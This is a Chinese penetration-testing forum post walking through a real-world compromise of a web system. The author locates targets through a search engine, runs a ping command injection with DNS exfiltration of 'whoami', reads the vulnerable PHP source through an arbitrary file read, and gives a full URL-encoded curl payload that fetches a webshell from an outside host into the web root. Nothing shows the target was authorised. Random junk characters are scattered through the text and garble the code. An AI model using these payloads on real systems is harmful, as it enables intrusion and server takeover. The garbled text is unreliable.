中国网络渗透测试联盟

标题: Web安全之实战通过os命令注入漏洞getwebshell [打印本页]

作者: admin    时间: 2022-3-31 01:39
标题: Web安全之实战通过os命令注入漏洞getwebshell
[md]**一、
2 U3 c: {  J- v- c% m+ [** **寻找突破口**2 i. U1 q; d1 g( D- @0 A
8 J5 o- S0 [$ k2 @- a: ]  h' `3 ?4 g
**经过右键查看源代码发现系统的特征为:images/select_bg.png,去钟馗之眼搜索如图:**" }' L+ M- l- Z  }; B
9 Q9 w; H( B, @- B
![image.png](data/attachment/forum/202203/31/013456oll79nxwhwxz9h2l.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png"); P4 ?2 J4 A3 @( i

3 F$ U4 [9 a) z2 L5 a. H% W
7 s3 q4 K0 A# t  W) }
+ r! w; a  [- t7 N% D**发现reporter和[Technology,6 @- ~4 s, z* p7 A, H5 W
Inc.](https://www.zoomeye.org/searchRe ... title:%22Technology,%20Inc.%22&t=all)都采用这个特征,然后一看之前搞过这样的系统,有源代码,对照源代码目录发现了未授权访问页面。**4 U+ H, g+ H$ \1 o

; {7 T% ~( v/ k) H. _; X& U& H**地址为:**0 Z' {' k( f' y

* \* f" ]" P% p- h/ i$ B+ e; Z- ]& u. z[http://1.1.1.1//view/systemConfi ... ;text_packetsize=64](http://1.1.1.1/view/systemConfig ... ;text_packetsize=64)**,如图:**+ N" Z/ R/ u# m  r* @! ^' K( v

; ~& q7 f6 L& y2 i![image.png](data/attachment/forum/202203/31/013528hffsyjijhb58lhh5.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")* Y4 b! a0 L  e6 b
1 P5 S; E* a, j" `; V9 F  }

. V  J* B( ?! a- G& k- Q3 H9 h* }# ~6 O  }) P% k
**测试ping这里的功能,发现可以绕过ping正常功能执行命令,payload为:**
* q+ K: U) z5 F
- |" E& R; F/ G$ ~, O**`whoami`.1111.ceye.io** **,如图:**) U( A8 y/ Z4 f" y, v
6 u  V# ]  o8 v
![image.png](data/attachment/forum/202203/31/013559bwl0r0lrgkpm8lrw.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
2 o7 {, H" p- o* ?* w0 H" v5 L) r! N- @6 Q1 |+ x
$ F  s) s, c8 H! K: ?2 A: X9 b
/ m$ [1 V& C0 r- D1 s8 i" t
**返回dns记录如图:**
1 b. v4 ]+ j1 d5 x- V% x( c0 o* q  m. E  ~9 l% b0 U
![image.png](data/attachment/forum/202203/31/013625ei2ea2ealisblpsb.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")* {# X* g4 f* W; b% s% a! p

2 k- f6 f+ p$ y! e/ S  v$ W9 o9 x+ C1 [- A% B/ D4 J* G
' [' ~4 k! v* J/ |1 Y, S7 x$ X! S+ B
**发现当前用户权限为root**
2 [2 b" T( s0 g5 G, \
' c- g& u$ |# o6 B**一、$ @% s4 v: j! F4 w$ b
** **通过漏洞组合getwebshell**
/ F! Q& C% A, q3 _) q
; L( t* B# G. x  u+ X**    ** **文章就按照挖洞顺序往下写,紧接着执行pwd命令获取web路径,如图:**
' N7 {) [0 M# K0 I' y$ M# r9 _
/ q% g( M+ d4 s2 ]![image.png](data/attachment/forum/202203/31/013656tl9z2765580yd7t8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")0 F) C+ i3 F( a( Q; V; S' C
6 L% `) |; m% L# U" r
" c' p  g6 ~/ @  _2 B
# P: Q) N$ q( [7 J2 N  p" X
**得知网站路径为:/var/www/html/view/systemconfig/systemtool/**; Q" P+ K8 H- t3 y) t) z
) ~0 H* _6 a7 M1 H4 n! i# N
**正好利用burpsuite发现一处os命令注入漏洞与一处任意文件查看漏洞,如下图为任意文件查看漏洞截图**+ w! a1 b6 B  l
( Z" ~- @5 v. ?6 u7 n9 L
![image.png](data/attachment/forum/202203/31/013726cn3oj66ngggc6zz8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
) g9 |9 e9 r$ `% D+ t2 ]- o( G4 E2 s: b2 D& b
**Os** **命令注入存的处为:/var/www/html/view/Behavior/toQuery.php,这个路径是通过第一步绕过ping命令正常功能执行命令漏洞获取到的,通过任意文件查看漏洞,我们读取一下源代码**
" q1 t8 C( Z8 U' w9 J" O/ L- ?6 K. m& b  ^0 k* F
![image.png](data/attachment/forum/202203/31/013749x0i8ilbkiuelle4e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")\6 P) s3 {. h3 Y; F' F8 V# y$ D2 b9 H

7 ]: K: P: f2 m. X
: I7 c0 ~# i9 u5 @6 Z7 w# M/ i**源代码为:**: P+ Z5 V6 h5 M3 H7 f& G" }, c
2 ^5 _9 r( M/ s& _; f/ L
<?php1 M/ p6 A, J, ]7 p
include_once($_SERVER["DOCUMENT_ROOT"]."/model/charFilter.php");
) Y: {0 T0 l- w: d! O?>1 u/ H( G1 }- R; B

! `: K) b/ \& Z2 G" w5 Z<?php. H' m# L* {$ O* n+ E' J! K: ]: ]( E

2 P$ X0 z  t& N1 I5 C/ n, b. j: q
0 \, F$ \5 O5 I  C
, Z$ Z; }$ _; }8 l- \7 G! Osession_start ();" W: q( z$ i- V8 E; R
. i6 l7 W5 J+ [$ r/ ~5 m

6 c! T$ N/ r  \
! _  c5 H9 v9 p2 g, z 2 B- c+ j" K8 S  q& g9 ^+ r

: M1 t& |, r' F" T( |+ G, ]% @6 c' o. z; L' f

: q! Y0 `$ I! F3 dif ($_GET ["objClass"] == "")& V2 y8 u- r" o* r' M
6 W3 n3 Q8 M% z. {
' D) B% a  c% E$ f- P+ i4 S+ X
. p) D* ?) M# {- [2 q
      exit ();
2 T' z$ u+ D$ @- A% e3 _" i: x" D, |; ^( G

' P( J3 P: E; Y. g
+ `( n8 Z; F' J2 K$param = $_REQUEST;
# N, Y  Y0 ~2 v, A# o: V. @% D& ?7 \0 E* Y$ Q
6 l- ^+ J( c4 e, y8 i
. n" ^- R/ g- D- O6 x& s. \4 H' u  y
$ x3 B- Q& I1 K8 b
& f5 e) q% c" ]
& ]% q! i/ I9 a2 n+ H3 h( `; y
& m. f( y& F0 z$ P- S
//echo "\n--------------------------\n";$ V$ E$ T: {2 H4 b5 [: d
! y" S- ?1 }6 b! C2 Q; l7 V1 P

, W9 X# \* a$ G; i3 X3 W2 E4 v  ~  B- w; P/ F1 D9 R# Y3 z
//print_r($param);" o7 B: a' Q2 ]  m% U; A0 f% p& ]
" h% ]. M1 E( W
# @: m: y6 o9 ]. k$ `# M& X( O
' x% B* X; K) G  g6 d9 O
//echo "\n--------------------------\n";7 V3 @; u: Q  b, h8 `- N5 N

* F/ J5 B3 z/ Y2 A4 k% }
3 U( R8 V$ R6 {( v8 P: T- r/ o5 }
- m/ S5 q/ n2 O) n$ I# b[if ($_GET ["method"] ==
7 E9 M* ]4 Z6 n; ?" W' {7 ?/ n: l"getList" || $_GET ["method"] == "import" ||
6 u- O9 x! c* X$_GET ["method"] == "processAlarm") ](){  w; n: d6 k9 q" Q) p  ~  |, f! w
) A/ z- M8 F+ z" ^- m, Y/ G2 w

6 j1 y- a, h* l2 N% v2 Y: X
% v9 X: c: a+ D9 E. K; F4 e      $param: s5 A9 J/ P; @1 `6 k  [
["user"] = $_SESSION ["s_userName"];0 ?" E4 m% q% s2 F+ F3 t2 A
* ^  R) b3 n+ Q2 r1 n. d$ ], }# _

- H. F! b7 B6 P$ W3 i( w' w& s( v5 H& _1 s9 N
      $param! S# U! `8 m' l! {* S7 v' ]9 o+ O# B
["lan"] = $_SESSION ["lan"];
! p0 L% b6 N9 A8 q" S, D. [& [6 u
  O  K, s  ^: t; x( i1 }, w$ I) C' S- w; Y9 C1 n* F

, \% I2 z; ^% F      $param) G( o% }, p2 j1 A. R
["regUserpath"] = $_SESSION ["regUserpath"];$ |# v! W# \+ E7 P$ }$ {/ I3 C
  L1 G4 m* N0 b" ]2 K
: H) Z  ]8 b( f" a: I
! X' E! o# ?- f. T
    3 f* L+ y1 Z( B% Y/ l, v

, V2 ^: ?5 b: R2 j, S* O5 w" X2 b5 |/ d
5 h. F3 _4 a  i
      exec (% {( Y! c8 x  {, l7 \, k! P0 b; O
"rm -rf /tmp/cache" );
$ M# z, @% s6 D6 G% z0 V( C5 Z
  I! a3 m5 y: f0 a: @: e% i7 c
# G- `8 i3 Q( [/ w
      [$cmd = "/usr/local/php/bin/php ".$_SERVER% @2 A6 N& y: p1 U' C  h
["DOCUMENT_ROOT"] . "system/behavior/behavior_query.php";]()
( \8 Y& A0 x; b, d" d
) A5 t! |  t, m. B) ]! q9 X3 J. _: S$ X/ F7 o7 b# N1 p2 \: Q, j, h; |, H
3 A% V2 }9 _# y- @* Q
      $cmd .=
1 m% W7 E, @/ N9 h" " . $_GET ["objClass"];
! `& h- x0 l( @
& A1 B( t' |3 A: T6 ~$ }8 {5 {" d# p7 f$ G* \) [9 `

3 `# w+ Q4 d/ v, }      $cmd .=
$ j# o/ O) L! `$ G, v# p" " . $_GET ["method"];  K1 @5 d2 J( Q* M& a' ?% T* W

$ v! K  y  T! E7 m- f0 w/ L( K* c% ~* j

2 D- O  w* M4 u' s1 A/ I      $cmd .=
* W8 }; h5 @- _6 G; I" " . base64_encode ( json_encode ( $param ) );' {2 Q6 A$ f" [4 Z$ S

$ O1 \! W- j2 W) L
  G2 }7 H- I+ r* b- a1 m# h
6 O  |0 v  o# ^- Y; s8 ~$ i      [file_put_contents("/tmp/query_cmd",$cmd);]()' \" Q: G; H' r9 _' C) E
5 h! A* r4 q, O

6 F: a6 x& w) x  V/ B% ?- s# P6 Q1 b& z3 S  F9 }, R: y
      exec ( $cmd . "
" m: j+ @$ T, \6 E) Y> /dev/null &" );$ g7 R) A  w- H2 ?, l3 e; _2 q
$ N9 u% q/ {, l$ P6 o1 l& g
! K& Z7 I. |- E1 }( b/ L
; x. ^% x% x& x0 v- q/ S- Y9 C
* S# \+ F' ^4 O6 ~

! i$ A% b3 S  r  o4 v2 H7 h} else {
# C5 B1 b' d8 m* b* b# Y5 A- i) i$ I! `0 O/ V3 Y

8 [8 |  @+ }5 y, y, N. z0 S7 }& R% x) l# O5 m
      require_once0 T/ D) ]1 x' J% f) e! ^8 N
($_SERVER ["DOCUMENT_ROOT"] . "system/behavior/behavior_Detail.php");, d" w3 @8 p# z' V: l6 \
6 S/ O7 I; t4 e1 R% N- V- X3 _
! J$ V2 A8 H! m. \9 e

/ a+ V# B0 a+ V      $obj = new2 x' _0 A4 @/ ~3 Z0 f: }% _/ d
QueryInterface ();1 q9 Z# P3 ], |- _3 O, |+ g
8 ^% S4 ?& q0 p! o& R% ^1 T0 H

( C. n( U2 f0 U0 `# F: C
3 M0 K$ Y" u& y6 n. [, n      $instance =
1 g$ c/ ]% _3 B6 m$obj->getInstance ();
) l/ d7 o' |. d5 L8 r# t  W" X7 b1 s. ~% t, W: e. `4 G

2 t9 _+ u+ y6 p4 x+ B
+ L9 g2 u' Y0 g3 }4 W0 @5 \      $instance->invokeMethod
$ o2 D' b$ ~7 {. C, Z  p( $_GET ["objClass"], $_GET ["method"], $param );
/ H2 b: j6 }. K& J4 U- n9 R, p; H: \
2 t5 k8 \  n. W1 J* @
7 ]  ]# M, S; ~& ?  h1 G
# a! q! D& [, {% j+ c}
, z( Z5 O' s9 A* @% y( s  L  B; K$ F% C
$ R6 f  a: T' K1 S8 t% o
+ E: G" x; b8 K# @' ]
exit ();
, W3 i# |# S& ?( \6 f  Y1 g' D; e
9 c" {4 c8 q+ `

" }9 c1 z" r; j" V: N?>) h% h# G/ ^% {1 P

' J9 k+ q0 I# x& h6 Q3 |**经常简单审计发现if ($_GET
& p2 F1 v# M* {["method"] == "getList" || $_GET ["method"] ==- E6 @- B  @# f8 t
"import" || $_GET ["method"] == "[processAlarm]()"),如果method只要等于getList、import、processAlarm这其中一个,$cmd =3 p) }8 P$ n+ ]. A, J2 \
"/usr/local/php/bin/php ".$_SERVER ["DOCUMENT_ROOT"] .2 j  B7 g5 w! B- E- V
"[system/behavior/behavior_query.php]()";  cmd等于web绝对路径+ system/behavior/behavior_query.php,然后file_put_contents("/tmp/query_cmd",$cmd);**
& f- u. q( G6 j7 r
* H  c- D2 u* s7 Q2 P' m* C& B**      exec ( $cmd
) l9 s3 M# P# {" C' s" F$ H. "  > /dev/null &" );** **给我们构造了一个命令注入的参数,这里直接造成了OS命令注入漏洞,下面看我演示**
7 p7 N' l% [9 J" r0 q
, o: w  Y& v2 i& Z- F9 c
6 h  t/ J7 p9 J: h& N7 n8 h![image.png](data/attachment/forum/202203/31/013842ceg7htegblnr4nnk.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
+ }+ g/ I0 X# q$ p( t5 ?' d. s7 r- Q( G
3 m  n/ F3 W) J; f, G

- n+ `( G3 Q7 a. _**图中objClass=存在OS命令注入漏洞,我之前试图通过bash反弹shell,但是测试了一晚上没反弹成功,最后选择了curl下载webshell,payload如下:**
' |5 f& ~6 e+ A6 P
: l. T% |- a7 c) m, N# |**%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60pcurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%27%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60curl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%5C%22%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php**/ F+ F6 x0 C& K) j) v
5 i* z& ~8 R/ X' K" S
**我们用url解码如下:**
5 f: |' Q6 M& c! Q2 \$ C0 I9 X. X1 Z
6 d4 ~: n8 O# n**|curl http://1.1.1.1/qYCwxRz1.zip -o
! M/ S: R& e( N, p1 C# ]0 f/var/www/html/images/suiji2.php||`pcurl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php` #' |curl http://1.1.1.1/qYCwxRz1.zip -o3 a3 T2 |' v5 K( J2 N/ K
/var/www/html/images/suiji2.php||`curl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php` #\" |curl ** [**http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php**](http://8.136.218.186/qYCwxRz1.zi ... l/images/suiji2.php)
* Y3 d. A' Q2 ]7 M, ~8 W% n  f' O/ V$ v* ]0 x6 l9 a
**使用这么多管道符|就是要闭合payload,最后成功curl下载webshell如图:**% g4 p# T; d6 L2 L# Z. r
+ z1 n& O3 Z- e3 n+ o
4 K7 N! F: c* M# ]6 ^; P
![image.png](data/attachment/forum/202203/31/013922zdonl51onkonxqqz.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png"). \' k7 o& o6 C% v1 W
9 V4 o, y1 `, x& u8 J' r& i* q

' Z4 R- q. j% Q- ]7 h' x3 [9 n% }
  V' J  _9 O* a* [, U
& a* Y( @" s8 b  W% y$ o5 u/ O**三、总结**
1 B% @- F# `+ x8 `* E1 Y1 y
  H6 C6 `. q1 p: a+ u**   ** **案例之所以最终获得webshell,很大程度上是取决于几个漏洞的组合,首先通过右键查看源代码找到目标系统使用的系统,因为之前测试过与目标类似的程序。然后“对症下药”找到了ping未授权访问页面,通过绕过ping命令正常功能执行pwd命令获取到网站绝对路径,其次,使用任意文件查看漏洞去读取疑似存在os命令执行漏洞的php进行简单审计,经过确认存在此漏洞,最后构造os命令执行payload,最终getwebshell,整个getwebshell过程就是一个漏洞的连环组合,渗透更多的时候是靠运气,如果这几个环节有一个环节漏洞不存在或者没挖到,可能导致getwebshell失败。**, [7 d/ r, E3 h& b! S4 F9 l

0 o, C7 J; e- X) R. b3 G3 J& a**   ** **综上所述,运气与挖洞功底同等重要,谢谢观看** **! **
: A9 [* U# Y( M. h  o- _7 _[/md]




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2